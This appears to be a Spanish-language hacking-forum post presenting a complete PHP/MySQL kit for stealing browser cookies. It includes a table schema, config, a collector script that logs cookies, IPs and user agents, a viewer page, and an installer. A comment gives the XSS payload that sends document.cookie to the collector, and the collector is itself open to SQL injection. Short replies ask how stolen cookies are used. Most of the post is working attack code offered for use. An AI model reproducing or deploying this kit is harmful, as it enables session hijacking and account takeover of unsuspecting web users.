Codigo para robar Cookies:
SQL.txt (se instala en el phpmyadmin)
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0><TBODY><TR><TD>Código:</TD></TR><TR><TD class=code>
CREATE TABLE `cookies` (
`id` int(10) NOT NULL auto_increment,
`txtcookie` text NOT NULL,
`ip` text NOT NULL,
`agent` text NOT NULL,
PRIMARY KEY (`id`)
) TYPE=MyISAM;
INSERT INTO `cookies` VALUES (1, '5sS$t3st|ng5Sss', '127.0.0.1', 'Windogs');
</TD></TR></TBODY></TABLE>
config.php
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0><TBODY><TR><TD>Código:</TD></TR><TR><TD class=code>
<?php
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "";
$db = "ecker";
@$cxn = mysql_connect($dbhost, $dbuser, $dbpass);
@mysql_select_db($db, $cxn);
?>
</TD></TR></TBODY></TABLE>
cookie.php
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0><TBODY><TR><TD>Código:</TD></TR><TR><TD class=code><?php
/*
* first you must send cookie to script, it goes something like this:
* Code:
*
* [Solo los usuarios registrados pueden acceder a los links. ]
*
* in cookie.php there should be something like this:
* Code:
* <script>document.location='http://localhost/cookie.php?cookie='+window.document.cookie;</script>
*/
$cookie = $_GET['cookie'];
$REMOTE_ADDR = $_SERVER['REMOTE_ADDR'];
$HTTP_USER_AGENT = $_SERVER['HTTP_USER_AGENT'];
include("config.php");
mysql_query("insert INTO `cookies` (txtcookie, ip, agent) values ('$cookie', '$REMOTE_ADDR', '$HTTP_USER_AGENT')");
# si no quieres utilizar una base de datos borra los gatitos de abajo (linea 24 y 25) y coloca otro gatito (#) en la linea 21
# $fp = fopen("cookies.txt", "a+");
# fwrite($fp, $cookie);
?>
</TD></TR></TBODY></TABLE>
db.php (aqui se guardan llas cookies)
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0><TBODY><TR><TD>Código:</TD></TR><TR><TD class=code><?php
require("config.php");
$sql = "SELECT * FROM cookies ORDER by id DESC";
$query = mysql_query($sql);
$design = 0;
echo "<table border=\"0\" cellspacing=\"1\" cellpadding=\"2\" width=\"100%\" style=\"border-top:solid black .5pt; border-left:solid black .5pt; border-bottom:solid black .5pt; border-right:solid black .5pt;\">";
echo " <tr>";
echo " <td><font color=black><b>#</b></font></td>";
echo " <td><font color=black><b>Cookie</b></font></td>";
echo " <td><font color=black><b>IP</b></font></td>";
echo " <td><font color=black><b>HTTP user agent</b></font></td>";
echo " </tr>";
while ($row = mysql_fetch_array($query)) {
if ($design == 0) {
$color = '#F7F7F7'; # row color
$design++;
}
else {
$color = '#FFFFFF'; # row color 2
$design = 0;
}
$row[id] = htmlentities($row[id]);
$row[txtcookie] = htmlentities($row[txtcookie]);
$row[ip] = htmlentities($row[ip]);
$row[agent] = htmlentities($row[agent]);
echo " <tr>";
echo " <td bgcolor='$color'>".$row['id']."</td>";
echo " <td bgcolor='$color'>".$row['txtcookie']."</td>";
echo " <td bgcolor='$color'>".$row['ip']."</td>";
echo " <td bgcolor='$color'>".$row['agent']."</td>";
echo " </tr>";
}
echo "</table>";
mysql_free_result($query);
mysql_close($cxn);
?></TD></TR></TBODY></TABLE>
install.php (opcional)
Si te da flojera abrir tu phpmyadmin e instalar SQL.txt ejecuta este archivo. Posteriormente elimina este archivo.
<TABLE cellSpacing=1 cellPadding=3 width="90%" align=center border=0><TBODY><TR><TD>Código:</TD></TR><TR><TD class=code><?php
require("config.php");
if(!$cxn) {
die("Error al conectar a la base de datos.");
} else {
mysql_query("CREATE TABLE cookies (id int(10) NOT NULL auto_increment,txtcookie text NOT NULL,ip text NOT NULL,agent text NOT NULL,PRIMARY KEY (id)) TYPE=MyISAM;");
mysql_query("INSERT INTO cookies VALUES (1, '5sS$t3st|ng5Sss', '127.0.0.1', 'Windogs');");
echo "La instalacion fue todo un exito. Borra de tu servidor el archivo install.php";
}
mysql_close($cxn);
?></TD></TR></TBODY></TABLE>
bue.. ese es un codigo para robar cookies... eso en google buscas y hay a patadas...
pero una ves que tenes la cookie como la usas? eso es lo que quiero saber asi parto de ahi para ir probando la seguridad de mi sistema.....
Me robaron el cookie... 
